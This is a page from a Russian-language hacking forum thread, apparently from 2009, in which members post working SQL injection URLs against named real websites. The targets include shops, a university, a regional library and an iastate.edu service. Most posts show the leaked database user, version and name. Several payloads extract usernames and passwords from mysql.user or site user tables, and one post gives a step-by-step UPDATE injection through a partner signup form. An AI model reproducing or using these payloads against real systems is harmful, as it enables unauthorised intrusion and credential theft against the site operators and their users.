HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10281  
Старый 31.07.2009, 15:06
Dyxxx
Участник форума
Регистрация: 16.02.2009
Сообщений: 191
С нами: 9069748

Репутация: 438
По умолчанию

пр5
Шоп банчит борохлом и жутко ругаеться, но на вопросы всёже отвечает ))
Код:
http://shop.usskiteam.com/store/product.php?productid=16640)+UNION+SELECT+concat_ws(0x3a,user(),version()),2+--+
usski_xcart@localhost:4.1.22-standard
 
Ответить с цитированием

  #10282  
Старый 31.07.2009, 15:15
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

http://www.addictions.ru/info0.php?dir=1+union+select+1,2,concat_ws(0x3a,us er(),database(),version()),4--&pid=15


hmd_helpmedoc@localhost:hmd_helpmedoc:5.0.51a-community

####################################
http://www.slk-digital.ru/gadgets/?t_id=-30+union+select+1,concat_ws(0x3a,user(),version(), database()),3,4,5,6,7,8,9--

slkdigital_root@localhost:5.0.51a-community:slkdigital_digital

Последний раз редактировалось HAXTA4OK; 31.07.2009 в 17:22..
 
Ответить с цитированием

  #10283  
Старый 31.07.2009, 23:00
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами: 10339586

Репутация: 1396


По умолчанию

Цитата:
http://pathbinderh.plantgenomics.iastate.edu/pblevel2.php?term1=-56321+union+select+convert(version()+using+latin1) ,2/*
Version: 4.1.12-standard-log
User: pbuser@schnable-hercules.agron.iastate.edu
 
Ответить с цитированием

  #10284  
Старый 31.07.2009, 23:39
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

http://books.nt.am/media_info.php?ID=42+and+1=0+union+select+concat(u ser,char(58),password),2,3+from+mysql.user/*

Последний раз редактировалось jokester; 31.07.2009 в 23:44.. Причина: Правила читаем
 
Ответить с цитированием

  #10285  
Старый 01.08.2009, 02:05
mr.gr33n
Banned
Регистрация: 06.07.2009
Сообщений: 74
С нами: 8867227

Репутация: 209
По умолчанию

Код:
PR:4 ТИЦ:40
http://www.meteo-nso.ru/news.php?id=-96+union+select+1,concat_ws(0x3a,name,psw),3,4,5,6,7+from+meteo_users--
 
Ответить с цитированием

  #10286  
Старый 01.08.2009, 09:09
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

Один из престижных универов г.Уфа

http://www.mf.rusoil.net/index.php?module=content&id=35+union+select+1,conc at_ws(0x3a,user(),database(),version())--

mf@localhost:mf:4.1.16-nt
 
Ответить с цитированием

  #10287  
Старый 01.08.2009, 12:52
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Знаменитый surfjunkey

Цитата:
http://www.surfjunky.com/gethelp.php?q=-10'+union+select+1,2,unhex(hex(concat_ws(0x3a,user (),version(),database()))),4,5,6/*
surfjunky@68.178.158.204:4.1.10-standard-log:surfjunky_com_-_surfjunky
 
Ответить с цитированием

  #10288  
Старый 01.08.2009, 16:28
Bramin
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
С нами: 8943448

Репутация: 127
По умолчанию

Мурманская областная научная библиотека

Код HTML:
http://www.mgounb.ru/?folder=1&menu=43&content=-414+union+select+concat_ws(0x3a,user,password)+from+mysql.user--
PR: 7 ТИЦ: 400
 
Ответить с цитированием

  #10289  
Старый 01.08.2009, 21:14
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Инъекция в операторе UPDATE, POST-запросом:

Код:
http://wblist.ru/partner/
Регистрируемся тут с любыми даными.

Код:
http://wblist.ru/partner/p-editacc.php
Заходим сюда и пишем по очереди в любое поле:
Код:
toor',ICQ_partner=user()/*
toor',ICQ_partner=database()/*
toor',ICQ_partner=version()/*
Смотрим в поле ICQ по очереди:
Код:
tests@localhost
tests
5.0.26

Последний раз редактировалось mailbrush; 01.08.2009 в 21:18..
 
Ответить с цитированием

  #10290  
Старый 02.08.2009, 01:36
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами: 8982831

Репутация: 37
По умолчанию

http://kulinarnayakniga.ru/search/?action=index&text=aa%27%29+union+select+1%2C2%2C3 %2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14% 2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2F*

нашел кол-во полей - 24. 3 поле активное. aa') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22/* запрос в поиске сайта


-------------------------------
список всех таблиц ---> http://kulinarnayakniga.ru/search/?action=index&text=aa%27%29+union+select+1%2C2%2CT ABLE_NAME%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2 C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22+F ROM+INFORMATION_SCHEMA.TABLES%2F*

Последний раз редактировалось ZARO; 02.08.2009 в 01:51..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...